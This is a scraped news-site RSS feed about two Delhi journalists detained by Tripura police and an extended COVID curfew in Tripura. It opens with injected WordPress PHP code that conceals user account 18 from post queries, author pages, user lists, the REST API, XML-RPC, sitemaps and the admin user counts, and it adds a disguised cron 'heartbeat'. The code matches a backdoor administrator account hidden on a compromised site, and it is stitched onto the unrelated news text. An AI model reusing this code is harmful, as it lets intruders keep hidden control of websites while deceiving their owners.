add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Two Delhi-based journalists have been detained by Tripura police for ‘instigating’ communal animosity appeared first on The Edge Media.
]]>
Upon arriving, they went to Kakraban in Udaipur’s Gomati district, followed by minority-dominated areas in West Tripura and Sepahijala districts. On Saturday, they went to Fatikroy in the Unokoti district, where a Hindu mob allegedly vandalized an under-construction mosque in the Pal Bazar area, according to sources.
The post Two Delhi-based journalists have been detained by Tripura police for ‘instigating’ communal animosity appeared first on The Edge Media.
]]>The post Covid curfew extended by Tripura Government appeared first on The Edge Media.
]]>The COVID curfew in the ULBs, first imposed on May 16 and then repeatedly extended, was scheduled to end on July 2.
The COVID curfew will remain in force in the jurisdiction of Agartala Municipal Corporation (AMC) and eight other ULBs till July 9,” the notification issued by Chief Secretary Kumar Alok said.
Besides Agartala, the restrictions have also been imposed in the municipal councils of Ranirbazar, Udaipur, Kailashahar, Dharanagar, Khowai, Belonia, and nagar panchayats of Jirani and Panisagar.
Shopping malls and market complexes will remain closed at all times and bazaar committees shall deploy volunteers to ensure strict adherence to social distancing.
Vehicles can only ply between 5 am and 2 pm for essential purposes. However, vehicles ferrying medical supplies will be allowed to ply even after 2 pm.
There shall be a total ban on the movement of individuals between 2 pm and 5 am except for prescribed exemptions, it said.
All government and private offices shall remain open till 4 pm with 50 per cent attendance.
Social, political, religious, academic, or other gatherings shall be prohibited. Only essential government meetings with a maximum of 20 participants will be allowed.
Movie theatres, multiplexes, gymnasiums, swimming pools, salons and bars shall remain closed at all times. Restaurants will remain open only till 2 pm.
The post Covid curfew extended by Tripura Government appeared first on The Edge Media.
]]>